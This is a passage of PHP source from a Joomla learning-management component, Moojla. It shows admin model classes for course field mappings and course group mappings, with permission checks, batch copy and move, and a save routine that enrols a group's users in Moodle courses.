// The back end uses id so we use that the rest of the time and set it to
0 by default.
else
{
$id = $jinput->get('id', 0, 'INT');
}
$user = JFactory::getUser();
// Check for existing item.
// Modify the form based on Edit State access controls.
if ($id != 0 &&
(!$user->authorise('core.edit.state',
'com_moojla.course_field_mapper.' . (int) $id))
|| ($id == 0 &&
!$user->authorise('core.edit.state', 'com_moojla')))
{
// Disable fields for display.
$form->setFieldAttribute('ordering', 'disabled',
'true');
$form->setFieldAttribute('published', 'disabled',
'true');
// Disable fields while saving.
$form->setFieldAttribute('ordering', 'filter',
'unset');
$form->setFieldAttribute('published', 'filter',
'unset');
}
// If this is a new item insure the greated by is set.
if (0 == $id)
{
// Set the created_by to this user
$form->setValue('created_by', null, $user->id);
}
// Modify the form based on Edit Creaded By access controls.
if (!$user->authorise('core.edit.created_by',
'com_moojla'))
{
// Disable fields for display.
$form->setFieldAttribute('created_by',
'disabled', 'true');
// Disable fields for display.
$form->setFieldAttribute('created_by',
'readonly', 'true');
// Disable fields while saving.
$form->setFieldAttribute('created_by', 'filter',
'unset');
}
// Modify the form based on Edit Creaded Date access controls.
if (!$user->authorise('core.edit.created',
'com_moojla'))
{
// Disable fields for display.
$form->setFieldAttribute('created', 'disabled',
'true');
// Disable fields while saving.
$form->setFieldAttribute('created', 'filter',
'unset');
}
// Only load these values if no id is found
if (0 == $id)
{
// Set redirected view name
$redirectedView = $jinput->get('ref', null,
'STRING');
// Set field name (or fall back to view name)
$redirectedField = $jinput->get('field', $redirectedView,
'STRING');
// Set redirected view id
$redirectedId = $jinput->get('refid', 0, 'INT');
// Set field id (or fall back to redirected view id)
$redirectedValue = $jinput->get('field_id', $redirectedId,
'INT');
if (0 != $redirectedValue && $redirectedField)
{
// Now set the local-redirected field default value
$form->setValue($redirectedField, null, $redirectedValue);
}
}
return $form;
}
/**
* Method to get the script that have to be included on the form
*
* @return string script files
*/
public function getScript()
{
return 'media/com_moojla/js/course_field_mapper.js';
}
/**
* Method to test whether a record can be deleted.
*
* @param object $record A record object.
*
* @return boolean True if allowed to delete the record. Defaults to the
permission set in the component.
*
* @since 1.6
*/
protected function canDelete($record)
{
if (!empty($record->id))
{
if ($record->published != -2)
{
return;
}
$user = JFactory::getUser();
// The record has been set. Check the record permissions.
return $user->authorise('core.delete',
'com_moojla.course_field_mapper.' . (int) $record->id);
}
return false;
}
/**
* Method to test whether a record can have its state edited.
*
* @param object $record A record object.
*
* @return boolean True if allowed to change the state of the record.
Defaults to the permission set in the component.
*
* @since 1.6
*/
protected function canEditState($record)
{
$user = JFactory::getUser();
$recordId = (!empty($record->id)) ? $record->id : 0;
if ($recordId)
{
// The record has been set. Check the record permissions.
$permission = $user->authorise('core.edit.state',
'com_moojla.course_field_mapper.' . (int) $recordId);
if (!$permission && !is_null($permission))
{
return false;
}
}
// In the absense of better information, revert to the component
permissions.
return parent::canEditState($record);
}
/**
* Method override to check if you can edit an existing record.
*
* @param array $data An array of input data.
* @param string $key The name of the key for the primary key.
*
* @return boolean
* @since 2.5
*/
protected function allowEdit($data = array(), $key = 'id')
{
// Check specific edit permission then general edit permission.
return JFactory::getUser()->authorise('core.edit',
'com_moojla.course_field_mapper.'. ((int) isset($data[$key]) ?
$data[$key] : 0)) or parent::allowEdit($data, $key);
}
/**
* Prepare and sanitise the table data prior to saving.
*
* @param JTable $table A JTable object.
*
* @return void
*
* @since 1.6
*/
protected function prepareTable($table)
{
$date = JFactory::getDate();
$user = JFactory::getUser();
if (isset($table->name))
{
$table->name = htmlspecialchars_decode($table->name, ENT_QUOTES);
}
if (isset($table->alias) && empty($table->alias))
{
$table->generateAlias();
}
if (empty($table->id))
{
$table->created = $date->toSql();
// set the user
if ($table->created_by == 0 || empty($table->created_by))
{
$table->created_by = $user->id;
}
// Set ordering to the last item if not set
if (empty($table->ordering))
{
$db = JFactory::getDbo();
$query = $db->getQuery(true)
->select('MAX(ordering)')
->from($db->quoteName('#__moojla_course_field_mapper'));
$db->setQuery($query);
$max = $db->loadResult();
$table->ordering = $max + 1;
}
}
else
{
$table->modified = $date->toSql();
$table->modified_by = $user->id;
}
if (!empty($table->id))
{
// Increment the items version number.
$table->version++;
}
}
/**
* Method to get the data that should be injected in the form.
*
* @return mixed The data for the form.
*
* @since 1.6
*/
protected function loadFormData()
{
// Check the session for previously entered form data.
$data =
JFactory::getApplication()->getUserState('com_moojla.edit.course_field_mapper.data',
array());
if (empty($data))
{
$data = $this->getItem();
// run the perprocess of the data
$this->preprocessData('com_moojla.course_field_mapper',
$data);
}
return $data;
}
/**
* Method to get the unique fields of this table.
*
* @return mixed An array of field names, boolean false if none is set.
*
* @since 3.0
*/
protected function getUniqueFields()
{
return false;
}
/**
* Method to delete one or more records.
*
* @param array &$pks An array of record primary keys.
*
* @return boolean True if successful, false if an error occurs.
*
* @since 12.2
*/
public function delete(&$pks)
{
if (!parent::delete($pks))
{
return false;
}
return true;
}
/**
* Method to change the published state of one or more records.
*
* @param array &$pks A list of the primary keys to change.
* @param integer $value The value of the published state.
*
* @return boolean True on success.
*
* @since 12.2
*/
public function publish(&$pks, $value = 1)
{
if (!parent::publish($pks, $value))
{
return false;
}
return true;
}
/**
* Method to perform batch operations on an item or a set of items.
*
* @param array $commands An array of commands to perform.
* @param array $pks An array of item ids.
* @param array $contexts An array of item contexts.
*
* @return boolean Returns true on success, false on failure.
*
* @since 12.2
*/
public function batch($commands, $pks, $contexts)
{
// Sanitize ids.
$pks = array_unique($pks);
ArrayHelper::toInteger($pks);
// Remove any values of zero.
if (array_search(0, $pks, true))
{
unset($pks[array_search(0, $pks, true)]);
}
if (empty($pks))
{
$this->setError(JText::_('JGLOBAL_NO_ITEM_SELECTED'));
return false;
}
$done = false;
// Set some needed variables.
$this->user = JFactory::getUser();
$this->table = $this->getTable();
$this->tableClassName = get_class($this->table);
$this->contentType = new JUcmType;
$this->type =
$this->contentType->getTypeByTable($this->tableClassName);
$this->canDo =
MoojlaHelper::getActions('course_field_mapper');
$this->batchSet = true;
if (!$this->canDo->get('core.batch'))
{
$this->setError(JText::_('JLIB_APPLICATION_ERROR_INSUFFICIENT_BATCH_INFORMATION'));
return false;
}
if ($this->type == false)
{
$type = new JUcmType;
$this->type = $type->getTypeByAlias($this->typeAlias);
}
$this->tagsObserver =
$this->table->getObserverOfClass('JTableObserverTags');
if (!empty($commands['move_copy']))
{
$cmd = ArrayHelper::getValue($commands, 'move_copy',
'c');
if ($cmd == 'c')
{
$result = $this->batchCopy($commands, $pks, $contexts);
if (is_array($result))
{
foreach ($result as $old => $new)
{
$contexts[$new] = $contexts[$old];
}
$pks = array_values($result);
}
else
{
return false;
}
}
elseif ($cmd == 'm' && !$this->batchMove($commands,
$pks, $contexts))
{
return false;
}
$done = true;
}
if (!$done)
{
$this->setError(JText::_('JLIB_APPLICATION_ERROR_INSUFFICIENT_BATCH_INFORMATION'));
return false;
}
// Clear the cache
$this->cleanCache();
return true;
}
/**
* Batch copy items to a new category or current.
*
* @param integer $values The new values.
* @param array $pks An array of row IDs.
* @param array $contexts An array of item contexts.
*
* @return mixed An array of new IDs on success, boolean false on
failure.
*
* @since 12.2
*/
protected function batchCopy($values, $pks, $contexts)
{
if (empty($this->batchSet))
{
// Set some needed variables.
$this->user = JFactory::getUser();
$this->table = $this->getTable();
$this->tableClassName = get_class($this->table);
$this->canDo =
MoojlaHelper::getActions('course_field_mapper');
}
if (!$this->canDo->get('core.create') ||
!$this->canDo->get('core.batch'))
{
return false;
}
// get list of unique fields
$uniqueFields = $this->getUniqueFields();
// remove move_copy from array
unset($values['move_copy']);
// make sure published is set
if (!isset($values['published']))
{
$values['published'] = 0;
}
elseif (isset($values['published']) &&
!$this->canDo->get('core.edit.state'))
{
$values['published'] = 0;
}
$newIds = array();
// Parent exists so let's proceed
while (!empty($pks))
{
// Pop the first ID off the stack
$pk = array_shift($pks);
$this->table->reset();
// only allow copy if user may edit this item.
if (!$this->user->authorise('core.edit',
$contexts[$pk]))
{
// Not fatal error
$this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_BATCH_MOVE_ROW_NOT_FOUND',
$pk));
continue;
}
// Check that the row actually exists
if (!$this->table->load($pk))
{
if ($error = $this->table->getError())
{
// Fatal error
$this->setError($error);
return false;
}
else
{
// Not fatal error
$this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_BATCH_MOVE_ROW_NOT_FOUND',
$pk));
continue;
}
}
// Only for strings
if (MoojlaHelper::checkString($this->table->coursefield)
&& !is_numeric($this->table->coursefield))
{
$this->table->coursefield =
$this->generateUnique('coursefield',$this->table->coursefield);
}
// insert all set values
if (MoojlaHelper::checkArray($values))
{
foreach ($values as $key => $value)
{
if (strlen($value) > 0 && isset($this->table->$key))
{
$this->table->$key = $value;
}
}
}
// update all unique fields
if (MoojlaHelper::checkArray($uniqueFields))
{
foreach ($uniqueFields as $uniqueField)
{
$this->table->$uniqueField =
$this->generateUnique($uniqueField,$this->table->$uniqueField);
}
}
// Reset the ID because we are making a copy
$this->table->id = 0;
// TODO: Deal with ordering?
// $this->table->ordering = 1;
// Check the row.
if (!$this->table->check())
{
$this->setError($this->table->getError());
return false;
}
if (!empty($this->type))
{
$this->createTagsHelper($this->tagsObserver, $this->type, $pk,
$this->typeAlias, $this->table);
}
// Store the row.
if (!$this->table->store())
{
$this->setError($this->table->getError());
return false;
}
// Get the new item ID
$newId = $this->table->get('id');
// Add the new ID to the array
$newIds[$pk] = $newId;
}
// Clean the cache
$this->cleanCache();
return $newIds;
}
/**
* Batch move items to a new category
*
* @param integer $value The new category ID.
* @param array $pks An array of row IDs.
* @param array $contexts An array of item contexts.
*
* @return boolean True if successful, false otherwise and internal
error is set.
*
* @since 12.2
*/
protected function batchMove($values, $pks, $contexts)
{
if (empty($this->batchSet))
{
// Set some needed variables.
$this->user = JFactory::getUser();
$this->table = $this->getTable();
$this->tableClassName = get_class($this->table);
$this->canDo =
MoojlaHelper::getActions('course_field_mapper');
}
if (!$this->canDo->get('core.edit') &&
!$this->canDo->get('core.batch'))
{
$this->setError(JText::_('JLIB_APPLICATION_ERROR_BATCH_CANNOT_EDIT'));
return false;
}
// make sure published only updates if user has the permission.
if (isset($values['published']) &&
!$this->canDo->get('core.edit.state'))
{
unset($values['published']);
}
// remove move_copy from array
unset($values['move_copy']);
// Parent exists so we proceed
foreach ($pks as $pk)
{
if (!$this->user->authorise('core.edit',
$contexts[$pk]))
{
$this->setError(JText::_('JLIB_APPLICATION_ERROR_BATCH_CANNOT_EDIT'));
return false;
}
// Check that the row actually exists
if (!$this->table->load($pk))
{
if ($error = $this->table->getError())
{
// Fatal error
$this->setError($error);
return false;
}
else
{
// Not fatal error
$this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_BATCH_MOVE_ROW_NOT_FOUND',
$pk));
continue;
}
}
// insert all set values.
if (MoojlaHelper::checkArray($values))
{
foreach ($values as $key => $value)
{
// Do special action for access.
if ('access' === $key && strlen($value) > 0)
{
$this->table->$key = $value;
}
elseif (strlen($value) > 0 &&
isset($this->table->$key))
{
$this->table->$key = $value;
}
}
}
// Check the row.
if (!$this->table->check())
{
$this->setError($this->table->getError());
return false;
}
if (!empty($this->type))
{
$this->createTagsHelper($this->tagsObserver, $this->type, $pk,
$this->typeAlias, $this->table);
}
// Store the row.
if (!$this->table->store())
{
$this->setError($this->table->getError());
return false;
}
}
// Clean the cache
$this->cleanCache();
return true;
}
/**
* Method to save the form data.
*
* @param array $data The form data.
*
* @return boolean True on success.
*
* @since 1.6
*/
public function save($data)
{
$input = JFactory::getApplication()->input;
$filter = JFilterInput::getInstance();
// set the metadata to the Item Data
if (isset($data['metadata']) &&
isset($data['metadata']['author']))
{
$data['metadata']['author'] =
$filter->clean($data['metadata']['author'],
'TRIM');
$metadata = new JRegistry;
$metadata->loadArray($data['metadata']);
$data['metadata'] = (string) $metadata;
}
// Set the Params Items to data
if (isset($data['params']) &&
is_array($data['params']))
{
$params = new JRegistry;
$params->loadArray($data['params']);
$data['params'] = (string) $params;
}
// Alter the unique field for save as copy
if ($input->get('task') === 'save2copy')
{
// Automatic handling of other unique fields
$uniqueFields = $this->getUniqueFields();
if (MoojlaHelper::checkArray($uniqueFields))
{
foreach ($uniqueFields as $uniqueField)
{
$data[$uniqueField] =
$this->generateUnique($uniqueField,$data[$uniqueField]);
}
}
}
if (parent::save($data))
{
return true;
}
return false;
}
/**
* Method to generate a unique value.
*
* @param string $field name.
* @param string $value data.
*
* @return string New value.
*
* @since 3.0
*/
protected function generateUnique($field,$value)
{
// set field value unique
$table = $this->getTable();
while ($table->load(array($field => $value)))
{
$value = StringHelper::increment($value);
}
return $value;
}
/**
* Method to change the title
*
* @param string $title The title.
*
* @return array Contains the modified title and alias.
*
*/
protected function _generateNewTitle($title)
{
// Alter the title
$table = $this->getTable();
while ($table->load(array('title' => $title)))
{
$title = StringHelper::increment($title);
}
return $title;
}
}
models/course_group_map.php000064400000054755151165724400012136
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage course_group_map.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
use Joomla\Registry\Registry;
use Joomla\String\StringHelper;
use Joomla\Utilities\ArrayHelper;
/**
* Moojla Course_group_map Model
*/
class MoojlaModelCourse_group_map extends JModelAdmin
{
/**
* The tab layout fields array.
*
* @var array
*/
protected $tabLayoutFields = array(
'details' => array(
'left' => array(
'moojlacourse',
'role'
),
'right' => array(
'course_group'
)
)
);
/**
* @var string The prefix to use with controller messages.
* @since 1.6
*/
protected $text_prefix = 'COM_MOOJLA';
/**
* The type alias for this content type.
*
* @var string
* @since 3.2
*/
public $typeAlias = 'com_moojla.course_group_map';
/**
* Returns a Table object, always creating it
*
* @param type $type The table type to instantiate
* @param string $prefix A prefix for the table class name. Optional.
* @param array $config Configuration array for model. Optional.
*
* @return JTable A database object
*
* @since 1.6
*/
public function getTable($type = 'course_group_map', $prefix =
'MoojlaTable', $config = array())
{
// add table path for when model gets used from other component
$this->addTablePath(JPATH_ADMINISTRATOR .
'/components/com_moojla/tables');
// get instance of the table
return JTable::getInstance($type, $prefix, $config);
}
/**
* Method to get a single record.
*
* @param integer $pk The id of the primary key.
*
* @return mixed Object on success, false on failure.
*
* @since 1.6
*/
public function getItem($pk = null)
{
if ($item = parent::getItem($pk))
{
if (!empty($item->params) && !is_array($item->params))
{
// Convert the params field to an array.
$registry = new Registry;
$registry->loadString($item->params);
$item->params = $registry->toArray();
}
if (!empty($item->metadata))
{
// Convert the metadata field to an array.
$registry = new Registry;
$registry->loadString($item->metadata);
$item->metadata = $registry->toArray();
}
}
return $item;
}
/**
* Method to get the record form.
*
* @param array $data Data for the form.
* @param boolean $loadData True if the form is to load its own data
(default case), false if not.
* @param array $options Optional array of options for the form
creation.
*
* @return mixed A JForm object on success, false on failure
*
* @since 1.6
*/
public function getForm($data = array(), $loadData = true, $options =
array('control' => 'jform'))
{
// set load data option
$options['load_data'] = $loadData;
// check if xpath was set in options
$xpath = false;
if (isset($options['xpath']))
{
$xpath = $options['xpath'];
unset($options['xpath']);
}
// check if clear form was set in options
$clear = false;
if (isset($options['clear']))
{
$clear = $options['clear'];
unset($options['clear']);
}
// Get the form.
$form = $this->loadForm('com_moojla.course_group_map',
'course_group_map', $options, $clear, $xpath);
if (empty($form))
{
return false;
}
$jinput = JFactory::getApplication()->input;
// The front end calls this model and uses a_id to avoid id clashes so we
need to check for that first.
if ($jinput->get('a_id'))
{
$id = $jinput->get('a_id', 0, 'INT');
}
// The back end uses id so we use that the rest of the time and set it to
0 by default.
else
{
$id = $jinput->get('id', 0, 'INT');
}
$user = JFactory::getUser();
// Check for existing item.
// Modify the form based on Edit State access controls.
if ($id != 0 &&
(!$user->authorise('core.edit.state',
'com_moojla.course_group_map.' . (int) $id))
|| ($id == 0 &&
!$user->authorise('core.edit.state', 'com_moojla')))
{
// Disable fields for display.
$form->setFieldAttribute('ordering', 'disabled',
'true');
$form->setFieldAttribute('published', 'disabled',
'true');
// Disable fields while saving.
$form->setFieldAttribute('ordering', 'filter',
'unset');
$form->setFieldAttribute('published', 'filter',
'unset');
}
// If this is a new item insure the greated by is set.
if (0 == $id)
{
// Set the created_by to this user
$form->setValue('created_by', null, $user->id);
}
// Modify the form based on Edit Creaded By access controls.
if (!$user->authorise('core.edit.created_by',
'com_moojla'))
{
// Disable fields for display.
$form->setFieldAttribute('created_by',
'disabled', 'true');
// Disable fields for display.
$form->setFieldAttribute('created_by',
'readonly', 'true');
// Disable fields while saving.
$form->setFieldAttribute('created_by', 'filter',
'unset');
}
// Modify the form based on Edit Creaded Date access controls.
if (!$user->authorise('core.edit.created',
'com_moojla'))
{
// Disable fields for display.
$form->setFieldAttribute('created', 'disabled',
'true');
// Disable fields while saving.
$form->setFieldAttribute('created', 'filter',
'unset');
}
// Only load these values if no id is found
if (0 == $id)
{
// Set redirected view name
$redirectedView = $jinput->get('ref', null,
'STRING');
// Set field name (or fall back to view name)
$redirectedField = $jinput->get('field', $redirectedView,
'STRING');
// Set redirected view id
$redirectedId = $jinput->get('refid', 0, 'INT');
// Set field id (or fall back to redirected view id)
$redirectedValue = $jinput->get('field_id', $redirectedId,
'INT');
if (0 != $redirectedValue && $redirectedField)
{
// Now set the local-redirected field default value
$form->setValue($redirectedField, null, $redirectedValue);
}
}
return $form;
}
/**
* Method to get the script that have to be included on the form
*
* @return string script files
*/
public function getScript()
{
return 'media/com_moojla/js/course_group_map.js';
}
/**
* Method to test whether a record can be deleted.
*
* @param object $record A record object.
*
* @return boolean True if allowed to delete the record. Defaults to the
permission set in the component.
*
* @since 1.6
*/
protected function canDelete($record)
{
if (!empty($record->id))
{
if ($record->published != -2)
{
return;
}
$user = JFactory::getUser();
// The record has been set. Check the record permissions.
return $user->authorise('core.delete',
'com_moojla.course_group_map.' . (int) $record->id);
}
return false;
}
/**
* Method to test whether a record can have its state edited.
*
* @param object $record A record object.
*
* @return boolean True if allowed to change the state of the record.
Defaults to the permission set in the component.
*
* @since 1.6
*/
protected function canEditState($record)
{
$user = JFactory::getUser();
$recordId = (!empty($record->id)) ? $record->id : 0;
if ($recordId)
{
// The record has been set. Check the record permissions.
$permission = $user->authorise('core.edit.state',
'com_moojla.course_group_map.' . (int) $recordId);
if (!$permission && !is_null($permission))
{
return false;
}
}
// In the absense of better information, revert to the component
permissions.
return parent::canEditState($record);
}
/**
* Method override to check if you can edit an existing record.
*
* @param array $data An array of input data.
* @param string $key The name of the key for the primary key.
*
* @return boolean
* @since 2.5
*/
protected function allowEdit($data = array(), $key = 'id')
{
// Check specific edit permission then general edit permission.
return JFactory::getUser()->authorise('core.edit',
'com_moojla.course_group_map.'. ((int) isset($data[$key]) ?
$data[$key] : 0)) or parent::allowEdit($data, $key);
}
/**
* Prepare and sanitise the table data prior to saving.
*
* @param JTable $table A JTable object.
*
* @return void
*
* @since 1.6
*/
protected function prepareTable($table)
{
$date = JFactory::getDate();
$user = JFactory::getUser();
if (isset($table->name))
{
$table->name = htmlspecialchars_decode($table->name, ENT_QUOTES);
}
if (isset($table->alias) && empty($table->alias))
{
$table->generateAlias();
}
if (empty($table->id))
{
$table->created = $date->toSql();
// set the user
if ($table->created_by == 0 || empty($table->created_by))
{
$table->created_by = $user->id;
}
// Set ordering to the last item if not set
if (empty($table->ordering))
{
$db = JFactory::getDbo();
$query = $db->getQuery(true)
->select('MAX(ordering)')
->from($db->quoteName('#__moojla_course_group_map'));
$db->setQuery($query);
$max = $db->loadResult();
$table->ordering = $max + 1;
}
}
else
{
$table->modified = $date->toSql();
$table->modified_by = $user->id;
}
if (!empty($table->id))
{
// Increment the items version number.
$table->version++;
}
}
/**
* Method to get the data that should be injected in the form.
*
* @return mixed The data for the form.
*
* @since 1.6
*/
protected function loadFormData()
{
// Check the session for previously entered form data.
$data =
JFactory::getApplication()->getUserState('com_moojla.edit.course_group_map.data',
array());
if (empty($data))
{
$data = $this->getItem();
// run the perprocess of the data
$this->preprocessData('com_moojla.course_group_map',
$data);
}
return $data;
}
/**
* Method to get the unique fields of this table.
*
* @return mixed An array of field names, boolean false if none is set.
*
* @since 3.0
*/
protected function getUniqueFields()
{
return false;
}
/**
* Method to delete one or more records.
*
* @param array &$pks An array of record primary keys.
*
* @return boolean True if successful, false if an error occurs.
*
* @since 12.2
*/
public function delete(&$pks)
{
/***[JCBGUI.admin_view.php_before_delete.135.$$$$]***/
//beforedelete/***[/JCBGUI$$$$]***/
if (!parent::delete($pks))
{
return false;
}
/***[JCBGUI.admin_view.php_after_delete.135.$$$$]***/
//afterdelete/***[/JCBGUI$$$$]***/
return true;
}
/**
* Method to change the published state of one or more records.
*
* @param array &$pks A list of the primary keys to change.
* @param integer $value The value of the published state.
*
* @return boolean True on success.
*
* @since 12.2
*/
public function publish(&$pks, $value = 1)
{
if (!parent::publish($pks, $value))
{
return false;
}
return true;
}
/**
* Method to perform batch operations on an item or a set of items.
*
* @param array $commands An array of commands to perform.
* @param array $pks An array of item ids.
* @param array $contexts An array of item contexts.
*
* @return boolean Returns true on success, false on failure.
*
* @since 12.2
*/
public function batch($commands, $pks, $contexts)
{
// Sanitize ids.
$pks = array_unique($pks);
ArrayHelper::toInteger($pks);
// Remove any values of zero.
if (array_search(0, $pks, true))
{
unset($pks[array_search(0, $pks, true)]);
}
if (empty($pks))
{
$this->setError(JText::_('JGLOBAL_NO_ITEM_SELECTED'));
return false;
}
$done = false;
// Set some needed variables.
$this->user = JFactory::getUser();
$this->table = $this->getTable();
$this->tableClassName = get_class($this->table);
$this->contentType = new JUcmType;
$this->type =
$this->contentType->getTypeByTable($this->tableClassName);
$this->canDo =
MoojlaHelper::getActions('course_group_map');
$this->batchSet = true;
if (!$this->canDo->get('core.batch'))
{
$this->setError(JText::_('JLIB_APPLICATION_ERROR_INSUFFICIENT_BATCH_INFORMATION'));
return false;
}
if ($this->type == false)
{
$type = new JUcmType;
$this->type = $type->getTypeByAlias($this->typeAlias);
}
$this->tagsObserver =
$this->table->getObserverOfClass('JTableObserverTags');
if (!empty($commands['move_copy']))
{
$cmd = ArrayHelper::getValue($commands, 'move_copy',
'c');
if ($cmd == 'c')
{
$result = $this->batchCopy($commands, $pks, $contexts);
if (is_array($result))
{
foreach ($result as $old => $new)
{
$contexts[$new] = $contexts[$old];
}
$pks = array_values($result);
}
else
{
return false;
}
}
elseif ($cmd == 'm' && !$this->batchMove($commands,
$pks, $contexts))
{
return false;
}
$done = true;
}
if (!$done)
{
$this->setError(JText::_('JLIB_APPLICATION_ERROR_INSUFFICIENT_BATCH_INFORMATION'));
return false;
}
// Clear the cache
$this->cleanCache();
return true;
}
/**
* Batch copy items to a new category or current.
*
* @param integer $values The new values.
* @param array $pks An array of row IDs.
* @param array $contexts An array of item contexts.
*
* @return mixed An array of new IDs on success, boolean false on
failure.
*
* @since 12.2
*/
protected function batchCopy($values, $pks, $contexts)
{
if (empty($this->batchSet))
{
// Set some needed variables.
$this->user = JFactory::getUser();
$this->table = $this->getTable();
$this->tableClassName = get_class($this->table);
$this->canDo =
MoojlaHelper::getActions('course_group_map');
}
if (!$this->canDo->get('core.create') ||
!$this->canDo->get('core.batch'))
{
return false;
}
// get list of unique fields
$uniqueFields = $this->getUniqueFields();
// remove move_copy from array
unset($values['move_copy']);
// make sure published is set
if (!isset($values['published']))
{
$values['published'] = 0;
}
elseif (isset($values['published']) &&
!$this->canDo->get('core.edit.state'))
{
$values['published'] = 0;
}
$newIds = array();
// Parent exists so let's proceed
while (!empty($pks))
{
// Pop the first ID off the stack
$pk = array_shift($pks);
$this->table->reset();
// only allow copy if user may edit this item.
if (!$this->user->authorise('core.edit',
$contexts[$pk]))
{
// Not fatal error
$this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_BATCH_MOVE_ROW_NOT_FOUND',
$pk));
continue;
}
// Check that the row actually exists
if (!$this->table->load($pk))
{
if ($error = $this->table->getError())
{
// Fatal error
$this->setError($error);
return false;
}
else
{
// Not fatal error
$this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_BATCH_MOVE_ROW_NOT_FOUND',
$pk));
continue;
}
}
// Only for strings
if (MoojlaHelper::checkString($this->table->moojlacourse)
&& !is_numeric($this->table->moojlacourse))
{
$this->table->moojlacourse =
$this->generateUnique('moojlacourse',$this->table->moojlacourse);
}
// insert all set values
if (MoojlaHelper::checkArray($values))
{
foreach ($values as $key => $value)
{
if (strlen($value) > 0 && isset($this->table->$key))
{
$this->table->$key = $value;
}
}
}
// update all unique fields
if (MoojlaHelper::checkArray($uniqueFields))
{
foreach ($uniqueFields as $uniqueField)
{
$this->table->$uniqueField =
$this->generateUnique($uniqueField,$this->table->$uniqueField);
}
}
// Reset the ID because we are making a copy
$this->table->id = 0;
// TODO: Deal with ordering?
// $this->table->ordering = 1;
// Check the row.
if (!$this->table->check())
{
$this->setError($this->table->getError());
return false;
}
if (!empty($this->type))
{
$this->createTagsHelper($this->tagsObserver, $this->type, $pk,
$this->typeAlias, $this->table);
}
// Store the row.
if (!$this->table->store())
{
$this->setError($this->table->getError());
return false;
}
// Get the new item ID
$newId = $this->table->get('id');
// Add the new ID to the array
$newIds[$pk] = $newId;
}
// Clean the cache
$this->cleanCache();
return $newIds;
}
/**
* Batch move items to a new category
*
* @param integer $value The new category ID.
* @param array $pks An array of row IDs.
* @param array $contexts An array of item contexts.
*
* @return boolean True if successful, false otherwise and internal
error is set.
*
* @since 12.2
*/
protected function batchMove($values, $pks, $contexts)
{
if (empty($this->batchSet))
{
// Set some needed variables.
$this->user = JFactory::getUser();
$this->table = $this->getTable();
$this->tableClassName = get_class($this->table);
$this->canDo =
MoojlaHelper::getActions('course_group_map');
}
if (!$this->canDo->get('core.edit') &&
!$this->canDo->get('core.batch'))
{
$this->setError(JText::_('JLIB_APPLICATION_ERROR_BATCH_CANNOT_EDIT'));
return false;
}
// make sure published only updates if user has the permission.
if (isset($values['published']) &&
!$this->canDo->get('core.edit.state'))
{
unset($values['published']);
}
// remove move_copy from array
unset($values['move_copy']);
// Parent exists so we proceed
foreach ($pks as $pk)
{
if (!$this->user->authorise('core.edit',
$contexts[$pk]))
{
$this->setError(JText::_('JLIB_APPLICATION_ERROR_BATCH_CANNOT_EDIT'));
return false;
}
// Check that the row actually exists
if (!$this->table->load($pk))
{
if ($error = $this->table->getError())
{
// Fatal error
$this->setError($error);
return false;
}
else
{
// Not fatal error
$this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_BATCH_MOVE_ROW_NOT_FOUND',
$pk));
continue;
}
}
// insert all set values.
if (MoojlaHelper::checkArray($values))
{
foreach ($values as $key => $value)
{
// Do special action for access.
if ('access' === $key && strlen($value) > 0)
{
$this->table->$key = $value;
}
elseif (strlen($value) > 0 &&
isset($this->table->$key))
{
$this->table->$key = $value;
}
}
}
// Check the row.
if (!$this->table->check())
{
$this->setError($this->table->getError());
return false;
}
if (!empty($this->type))
{
$this->createTagsHelper($this->tagsObserver, $this->type, $pk,
$this->typeAlias, $this->table);
}
// Store the row.
if (!$this->table->store())
{
$this->setError($this->table->getError());
return false;
}
}
// Clean the cache
$this->cleanCache();
return true;
}
/**
* Method to save the form data.
*
* @param array $data The form data.
*
* @return boolean True on success.
*
* @since 1.6
*/
public function save($data)
{
$input = JFactory::getApplication()->input;
$filter = JFilterInput::getInstance();
// set the metadata to the Item Data
if (isset($data['metadata']) &&
isset($data['metadata']['author']))
{
$data['metadata']['author'] =
$filter->clean($data['metadata']['author'],
'TRIM');
$metadata = new JRegistry;
$metadata->loadArray($data['metadata']);
$data['metadata'] = (string) $metadata;
}
/***[JCBGUI.admin_view.php_save.135.$$$$]***/
$db = JFactory::getDbo();
$query = $db->getQuery(true);
$query->select($db->quoteName('user_id'));
$query->from($db->quoteName('#__user_usergroup_map'));
$query->where($db->quoteName('group_id') . ' =
' . $db->quote($data['course_group']));
$db->setQuery($query);
$results = (array)$db->loadObjectList();
JLoader::register('MoojlaHelper',
JPATH_ADMINISTRATOR.'/components/com_moojla/helpers/moojla.php');
$dataObj = array(
"wsfunction" =>
"moojla_multiple_enrol_users",
"moodlewsrestformat" => "json",
"roleid" => $data['role'],
"courseid" => $data['moojlacourse'],
"enrolments" => array()
);
foreach($results as $result)
{
$mid = MoojlaHelper::joomlaToMoodleID($result->user_id);
if($mid)
{
$dataObj['enrolments'][] = array(
"userid" => $mid,
);
}
}
$res = MoojlaHelper::sendRequestToMoodle($dataObj);
/***[/JCBGUI$$$$]***/
// Set the Params Items to data
if (isset($data['params']) &&
is_array($data['params']))
{
$params = new JRegistry;
$params->loadArray($data['params']);
$data['params'] = (string) $params;
}
// Alter the unique field for save as copy
if ($input->get('task') === 'save2copy')
{
// Automatic handling of other unique fields
$uniqueFields = $this->getUniqueFields();
if (MoojlaHelper::checkArray($uniqueFields))
{
foreach ($uniqueFields as $uniqueField)
{
$data[$uniqueField] =
$this->generateUnique($uniqueField,$data[$uniqueField]);
}
}
